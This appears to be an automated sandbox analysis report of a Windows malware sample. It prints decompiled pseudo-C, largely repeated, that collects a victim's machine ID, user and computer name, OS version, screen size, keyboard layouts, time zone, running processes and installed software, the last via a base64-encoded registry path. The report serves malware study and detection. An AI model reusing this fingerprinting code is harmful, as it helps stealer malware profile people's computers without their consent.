				E004037DC( &_v48, "Computer(Username) :   ",  *_t142);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d2c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d34);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t142, _v40);
				E004037DC( &_v68, "Screen: ",  *_t142);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t142,  &_v72, __esi, _t191);
				_push(_v72);
				_push(0x416d50);
				E0040709C(GetSystemMetrics(1), _t142,  &_v76, _t182, _t191);
				_push(_v76);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t142, _v60);
				_push( *_t142);
				_push("Layouts: ");
				E004166B4( &_v80, _t142, _t181, _t182);
				_push(_v80);
				_push(0x416ca4);
				E00403850();
				_push( *_t142);
				_push("LocalTime: ");
				E00416894( &_v84, _t142, _t182);
				_push(_v84);
				_push(0x416ca4);
				E00403850();
				_push( *_t142);
				_push("Zone: ");
				E00416794( &_v88, _t142, _t181, _t182, _t191); // executed
				_push(_v88);
				_push(0x416cc8);
				E00403850();
				_push( *_t142);
				E00415E44( &_v92, _t142, _t181, _t182); // executed
				_push(_v92);
				_push(0x416cc8);
				E00403850();
				Sleep(1); // executed
				_push( *_t142);
				E00416290( &_v96, _t142, _t181, _t182, _t191); // executed
				_push(_v96);
				_push(0x416ca4);
				_push(0x416ca4);
				E00403850();
				Sleep(1); // executed
				_push( *_t142);
				_push("[Soft]");
				E00403850();
				Sleep(1); // executed
				E0041564C( &_v100, _t142, _t181, _t182); // executed
				E00403798(_t142, _v100);
				_t173 = 0x416ca4;
				 *[fs:eax] = _t173;
				_push(E00416C7F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x00416974
0x00416974
0x00416976
0x00416978
0x00416979
0x0041697b
0x0041697d
0x0041697f
0x00416980
0x00416982
0x00416984
0x00416986
0x0041698a
0x0041698d
0x0041698f
0x00416994
0x00416994
0x00416996
0x00416998
0x00416998
0x00416998
0x0041699c
0x004169a0
0x004169a1
0x004169a6
0x004169a9
0x004169ac
0x004169b4
0x004169b9
0x004169bc
0x004169c8
0x004169cd
0x004169cf
0x004169d9
0x004169de
0x004169e1
0x004169ed
0x004169f2
0x004169f4
0x004169fc
0x00416a01
0x00416a04
0x00416a11
0x00416a1c
0x00416a21
0x00416a27
0x00416a2c
0x00416a2f
0x00416a37
0x00416a3c
0x00416a3f
0x00416a4c
0x00416a56
0x00416a65
0x00416a70
0x00416a75
0x00416a7b
0x00416a80
0x00416a83
0x00416a8b
0x00416a90
0x00416a93
0x00416a98
0x00416aa5
0x00416aaf
0x00416abe
0x00416ac9
0x00416ace
0x00416adb
0x00416ae0
0x00416ae3
0x00416af2
0x00416af7
0x00416afa
0x00416b07
0x00416b11
0x00416b16
0x00416b18
0x00416b20
0x00416b25
0x00416b28
0x00416b34
0x00416b39
0x00416b3b
0x00416b43
0x00416b48
0x00416b4b
0x00416b57
0x00416b5c
0x00416b5e
0x00416b66
0x00416b6b
0x00416b6e
0x00416b7a
0x00416b7f
0x00416b84
0x00416b89
0x00416b8c
0x00416b98
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bae
0x00416bb1
0x00416bb6
0x00416bc2
0x00416bc9
0x00416bce
0x00416bd0
0x00416be1
0x00416be8
0x00416bf0
0x00416bfa
0x00416c01
0x00416c04
0x00416c07
0x00416c14
0x00416c21
0x00416c29
0x00416c36
0x00416c3e
0x00416c4b
0x00416c58
0x00416c65
0x00416c77

APIs

GetSystemMetrics.USER32(00000000), ref: 00416AD3
GetSystemMetrics.USER32(00000001), ref: 00416AEA

Part of subcall function 00416794: GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00415E44: GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4,?,Layouts: ,?), ref: 00416B9F

Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
Part of subcall function 00416290: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
Part of subcall function 00416290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Part of subcall function 00416290: Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB

Sleep.KERNEL32(00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ), ref: 00416BC9
Sleep.KERNEL32(00000001,00416CA4,[Soft],?,00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416BE8

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

[Soft], xrefs: 00416BD0
Computer(Username) : , xrefs: 00416A60
, xrefs: 004169E1, 00416B6E, 00416B8C
MachineID : , xrefs: 004169AC
LocalTime: , xrefs: 00416B3B
Windows : , xrefs: 004169F4
Zone: , xrefs: 00416B5E
Layouts: , xrefs: 00416B18
Screen: , xrefs: 00416AB9
EXE_PATH : , xrefs: 004169CF

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CreateFirstFreeInfoInformationProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 2064200246-943277980
Opcode ID: 4c9c43a1ccfff347fbb970f709355c8580a6ba1e38aaef3c791caca9cc7dbb0b
Instruction ID: 772785f2c09445a84a7b2349d24cb582ce7330fa6bd2b57fe2dee83489952c98
Opcode Fuzzy Hash: 4c9c43a1ccfff347fbb970f709355c8580a6ba1e38aaef3c791caca9cc7dbb0b
Instruction Fuzzy Hash: C8812C70A40209ABCB01FFA1DC42BCDBB79EF49309F61807BB104B6196D67DEA458B59

Uniqueness

Uniqueness Score: -1.00%

Function 00416978, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 211
sleepCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00416978(signed int __eax, void* __ebx, intOrPtr* __edx, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr* _t59;
				intOrPtr* _t141;
				void* _t142;
				intOrPtr _t172;
				void* _t180;
				intOrPtr _t183;
				intOrPtr _t184;

				_t181 = __esi;
				asm("das");
				 *__eax =  *__eax + __eax;
				 *__edx =  *__edx + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax & __eax;
				 *__eax =  *__eax + __eax;
				_t59 = __eax +  *__eax;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 + _t59;
				_t183 = _t184;
				_t142 = 0xc;
				do {
					_push(0);
					_push(0);
					_t142 = _t142 - 1;
					_t189 = _t142;
				} while (_t142 != 0);
				_t141 = _t59;
				_push(_t183);
				_push(0x416c78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				_push("MachineID :   ");
				E00406CE8( &_v8, _t141, __esi); // executed
				_push(_v8);
				_push(0x416ca4);
				E00403850();
				_push( *_t141);
				_push("EXE_PATH  :   ");
				E00416684(0,  &_v12);
				_push(_v12);
				_push(0x416cc8);
				E00403850();
				_push( *_t141);
				_push("Windows    :   ");
				E00407B08( &_v28, _t141, _t180, __esi);
				_push(_v28);
				_push(0x416cf0);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t189);
				_push(_v32);
				_push(0x416cf8);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t141, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t141);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d2c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d34);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t141, _v40);
				E004037DC( &_v68, "Screen: ",  *_t141);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t141,  &_v72, __esi, _t189);
				_push(_v72);
				_push(0x416d50);
				E0040709C(GetSystemMetrics(1), _t141,  &_v76, _t181, _t189);
				_push(_v76);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t141, _v60);
				_push( *_t141);
				_push("Layouts: ");
				E004166B4( &_v80, _t141, _t180, _t181);
				_push(_v80);
				_push(0x416ca4);
				E00403850();
				_push( *_t141);
				_push("LocalTime: ");
				E00416894( &_v84, _t141, _t181);
				_push(_v84);
				_push(0x416ca4);
				E00403850();
				_push( *_t141);
				_push("Zone: ");
				E00416794( &_v88, _t141, _t180, _t181, _t189); // executed
				_push(_v88);
				_push(0x416cc8);
				E00403850();
				_push( *_t141);
				E00415E44( &_v92, _t141, _t180, _t181); // executed
				_push(_v92);
				_push(0x416cc8);
				E00403850();
				Sleep(1); // executed
				_push( *_t141);
				E00416290( &_v96, _t141, _t180, _t181, _t189); // executed
				_push(_v96);
				_push(0x416ca4);
				_push(0x416ca4);
				E00403850();
				Sleep(1); // executed
				_push( *_t141);
				_push("[Soft]");
				E00403850();
				Sleep(1); // executed
				E0041564C( &_v100, _t141, _t180, _t181); // executed
				E00403798(_t141, _v100);
				_t172 = 0x416ca4;
				 *[fs:eax] = _t172;
				_push(E00416C7F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x00416978
0x00416978
0x00416979
0x0041697b
0x0041697d
0x0041697f
0x00416980
0x00416982
0x00416984
0x00416986
0x0041698a
0x0041698d
0x0041698f
0x00416994
0x00416994
0x00416996
0x00416998
0x00416998
0x00416998
0x0041699c
0x004169a0
0x004169a1
0x004169a6
0x004169a9
0x004169ac
0x004169b4
0x004169b9
0x004169bc
0x004169c8
0x004169cd
0x004169cf
0x004169d9
0x004169de
0x004169e1
0x004169ed
0x004169f2
0x004169f4
0x004169fc
0x00416a01
0x00416a04
0x00416a11
0x00416a1c
0x00416a21
0x00416a27
0x00416a2c
0x00416a2f
0x00416a37
0x00416a3c
0x00416a3f
0x00416a4c
0x00416a56
0x00416a65
0x00416a70
0x00416a75
0x00416a7b
0x00416a80
0x00416a83
0x00416a8b
0x00416a90
0x00416a93
0x00416a98
0x00416aa5
0x00416aaf
0x00416abe
0x00416ac9
0x00416ace
0x00416adb
0x00416ae0
0x00416ae3
0x00416af2
0x00416af7
0x00416afa
0x00416b07
0x00416b11
0x00416b16
0x00416b18
0x00416b20
0x00416b25
0x00416b28
0x00416b34
0x00416b39
0x00416b3b
0x00416b43
0x00416b48
0x00416b4b
0x00416b57
0x00416b5c
0x00416b5e
0x00416b66
0x00416b6b
0x00416b6e
0x00416b7a
0x00416b7f
0x00416b84
0x00416b89
0x00416b8c
0x00416b98
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bae
0x00416bb1
0x00416bb6
0x00416bc2
0x00416bc9
0x00416bce
0x00416bd0
0x00416be1
0x00416be8
0x00416bf0
0x00416bfa
0x00416c01
0x00416c04
0x00416c07
0x00416c14
0x00416c21
0x00416c29
0x00416c36
0x00416c3e
0x00416c4b
0x00416c58
0x00416c65
0x00416c77

APIs

GetSystemMetrics.USER32(00000000), ref: 00416AD3
GetSystemMetrics.USER32(00000001), ref: 00416AEA

Part of subcall function 00416794: GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00415E44: GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4,?,Layouts: ,?), ref: 00416B9F

Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
Part of subcall function 00416290: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
Part of subcall function 00416290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Part of subcall function 00416290: Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB

Sleep.KERNEL32(00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ), ref: 00416BC9
Sleep.KERNEL32(00000001,00416CA4,[Soft],?,00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416BE8

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

[Soft], xrefs: 00416BD0
Computer(Username) : , xrefs: 00416A60
, xrefs: 004169E1, 00416B6E, 00416B8C
MachineID : , xrefs: 004169AC
LocalTime: , xrefs: 00416B3B
Windows : , xrefs: 004169F4
Zone: , xrefs: 00416B5E
Layouts: , xrefs: 00416B18
Screen: , xrefs: 00416AB9
EXE_PATH : , xrefs: 004169CF

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CreateFirstFreeInfoInformationProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 2064200246-943277980
Opcode ID: def29004123defb7495f63657c43b89c0c5216692a1123bc0e68f5db5c306f23
Instruction ID: ba9566fa5802b655d19b309e0ce3e7f0f20b9e85fb6ad6d3dc3daba04cc241c3
Opcode Fuzzy Hash: def29004123defb7495f63657c43b89c0c5216692a1123bc0e68f5db5c306f23
Instruction Fuzzy Hash: 70811D70A40209ABCB01FFA1DC42BCDBB79EF45309F61807BB104B61D6D67DEA458B59

Uniqueness

Uniqueness Score: -1.00%

Function 0041698C, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 201
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E0041698C(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr* _t140;
				void* _t141;
				intOrPtr _t171;
				intOrPtr _t182;
				intOrPtr _t183;

				_t180 = __esi;
				_t179 = __edi;
				_t182 = _t183;
				_t141 = 0xc;
				do {
					_push(0);
					_push(0);
					_t141 = _t141 - 1;
					_t184 = _t141;
				} while (_t141 != 0);
				_t140 = __eax;
				_push(_t182);
				_push(0x416c78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t183;
				_push("MachineID :   ");
				E00406CE8( &_v8, __eax, __esi); // executed
				_push(_v8);
				_push(0x416ca4);
				E00403850();
				_push( *_t140);
				_push("EXE_PATH  :   ");
				E00416684(0,  &_v12);
				_push(_v12);
				_push(0x416cc8);
				E00403850();
				_push( *_t140);
				_push("Windows    :   ");
				E00407B08( &_v28, _t140, __edi, __esi);
				_push(_v28);
				_push(0x416cf0);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t184);
				_push(_v32);
				_push(0x416cf8);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t140, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t140);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d2c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d34);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t140, _v40);
				E004037DC( &_v68, "Screen: ",  *_t140);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t140,  &_v72, _t180, _t184);
				_push(_v72);
				_push(0x416d50);
				E0040709C(GetSystemMetrics(1), _t140,  &_v76, _t180, _t184);
				_push(_v76);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t140, _v60);
				_push( *_t140);
				_push("Layouts: ");
				E004166B4( &_v80, _t140, __edi, _t180);
				_push(_v80);
				_push(0x416ca4);
				E00403850();
				_push( *_t140);
				_push("LocalTime: ");
				E00416894( &_v84, _t140, _t180);
				_push(_v84);
				_push(0x416ca4);
				E00403850();
				_push( *_t140);
				_push("Zone: ");
				E00416794( &_v88, _t140, _t179, _t180, _t184); // executed
				_push(_v88);
				_push(0x416cc8);
				E00403850();
				_push( *_t140);
				E00415E44( &_v92, _t140, _t179, _t180); // executed
				_push(_v92);
				_push(0x416cc8);
				E00403850();
				Sleep(1); // executed
				_push( *_t140);
				E00416290( &_v96, _t140, _t179, _t180, _t184); // executed
				_push(_v96);
				_push(0x416ca4);
				_push(0x416ca4);
				E00403850();
				Sleep(1); // executed
				_push( *_t140);
				_push("[Soft]");
				E00403850();
				Sleep(1); // executed
				E0041564C( &_v100, _t140, _t179, _t180); // executed
				E00403798(_t140, _v100);
				_t171 = 0x416ca4;
				 *[fs:eax] = _t171;
				_push(E00416C7F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x0041698c
0x0041698c
0x0041698d
0x0041698f
0x00416994
0x00416994
0x00416996
0x00416998
0x00416998
0x00416998
0x0041699c
0x004169a0
0x004169a1
0x004169a6
0x004169a9
0x004169ac
0x004169b4
0x004169b9
0x004169bc
0x004169c8
0x004169cd
0x004169cf
0x004169d9
0x004169de
0x004169e1
0x004169ed
0x004169f2
0x004169f4
0x004169fc
0x00416a01
0x00416a04
0x00416a11
0x00416a1c
0x00416a21
0x00416a27
0x00416a2c
0x00416a2f
0x00416a37
0x00416a3c
0x00416a3f
0x00416a4c
0x00416a56
0x00416a65
0x00416a70
0x00416a75
0x00416a7b
0x00416a80
0x00416a83
0x00416a8b
0x00416a90
0x00416a93
0x00416a98
0x00416aa5
0x00416aaf
0x00416abe
0x00416ac9
0x00416ace
0x00416adb
0x00416ae0
0x00416ae3
0x00416af2
0x00416af7
0x00416afa
0x00416b07
0x00416b11
0x00416b16
0x00416b18
0x00416b20
0x00416b25
0x00416b28
0x00416b34
0x00416b39
0x00416b3b
0x00416b43
0x00416b48
0x00416b4b
0x00416b57
0x00416b5c
0x00416b5e
0x00416b66
0x00416b6b
0x00416b6e
0x00416b7a
0x00416b7f
0x00416b84
0x00416b89
0x00416b8c
0x00416b98
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bae
0x00416bb1
0x00416bb6
0x00416bc2
0x00416bc9
0x00416bce
0x00416bd0
0x00416be1
0x00416be8
0x00416bf0
0x00416bfa
0x00416c01
0x00416c04
0x00416c07
0x00416c14
0x00416c21
0x00416c29
0x00416c36
0x00416c3e
0x00416c4b
0x00416c58
0x00416c65
0x00416c77

APIs

GetSystemMetrics.USER32(00000000), ref: 00416AD3
GetSystemMetrics.USER32(00000001), ref: 00416AEA

Part of subcall function 00416794: GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00415E44: GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4,?,Layouts: ,?), ref: 00416B9F

Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
Part of subcall function 00416290: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
Part of subcall function 00416290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Part of subcall function 00416290: Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB

Sleep.KERNEL32(00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ), ref: 00416BC9
Sleep.KERNEL32(00000001,00416CA4,[Soft],?,00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416BE8

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

[Soft], xrefs: 00416BD0
Computer(Username) : , xrefs: 00416A60
, xrefs: 004169E1, 00416B6E, 00416B8C
MachineID : , xrefs: 004169AC
LocalTime: , xrefs: 00416B3B
Windows : , xrefs: 004169F4
Zone: , xrefs: 00416B5E
Layouts: , xrefs: 00416B18
Screen: , xrefs: 00416AB9
EXE_PATH : , xrefs: 004169CF

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CreateFirstFreeInfoInformationProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 2064200246-943277980
Opcode ID: fe1ae8567fb0647e27782b26562f6a993485a3d7589d12e9bf6b6e77031a4d70
Instruction ID: b8284bc9f62184e4db5d5ca1727f6710c034d5e6d015895e5eeee5dd02488032
Opcode Fuzzy Hash: fe1ae8567fb0647e27782b26562f6a993485a3d7589d12e9bf6b6e77031a4d70
Instruction Fuzzy Hash: 2F711C70A40109ABDF01FFE1DC42BCDBB79EF48709F61803BB104B6296D67DEA458A59

Uniqueness

Uniqueness Score: -1.00%

Function 0041564C, Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 305
registryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0041564C(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v1009;
				char _v1016;
				intOrPtr _v1020;
				char _v1024;
				char _v1028;
				char _v1032;
				char _v1036;
				char _v1040;
				char _v1044;
				char _v1048;
				char _v1052;
				char _v1056;
				char _v1060;
				char _v1064;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1080;
				char _v1084;
				char _v1088;
				char _v1092;
				char _v1096;
				char _v1100;
				char _v1104;
				char _v1108;
				char _v1112;
				char _v1116;
				char _v1120;
				char _v1124;
				char _v1128;
				char _v1132;
				char _v1136;
				char _v1140;
				char _v1144;
				char _v1148;
				long _t107;
				void* _t123;
				void* _t144;
				long _t162;
				void* _t178;
				void* _t199;
				intOrPtr* _t262;
				void* _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;
				intOrPtr _t318;
				char* _t329;
				int _t331;
				int _t332;
				intOrPtr _t334;
				intOrPtr _t335;

				_t334 = _t335;
				_t263 = 0x8f;
				do {
					_push(0);
					_push(0);
					_t263 = _t263 - 1;
				} while (_t263 != 0);
				_t262 = __eax;
				_t329 =  &_v1009;
				_push(_t334);
				_push(0x415b6e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t335;
				E004034E4(__eax);
				_t331 = 0;
				E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs", _t262,  &_v1016, _t329, 0);
				RegOpenKeyExA(0x80000002, E00403990(_v1016), 0, 0x20019,  &_v8); // executed
				while(1) {
					_t107 = RegEnumKeyA(_v8, _t331, _t329, 0x3e9); // executed
					if(_t107 != 0) {
						break;
					}
					E00403D88( &_v1024,  *_t262);
					_push(_v1024);
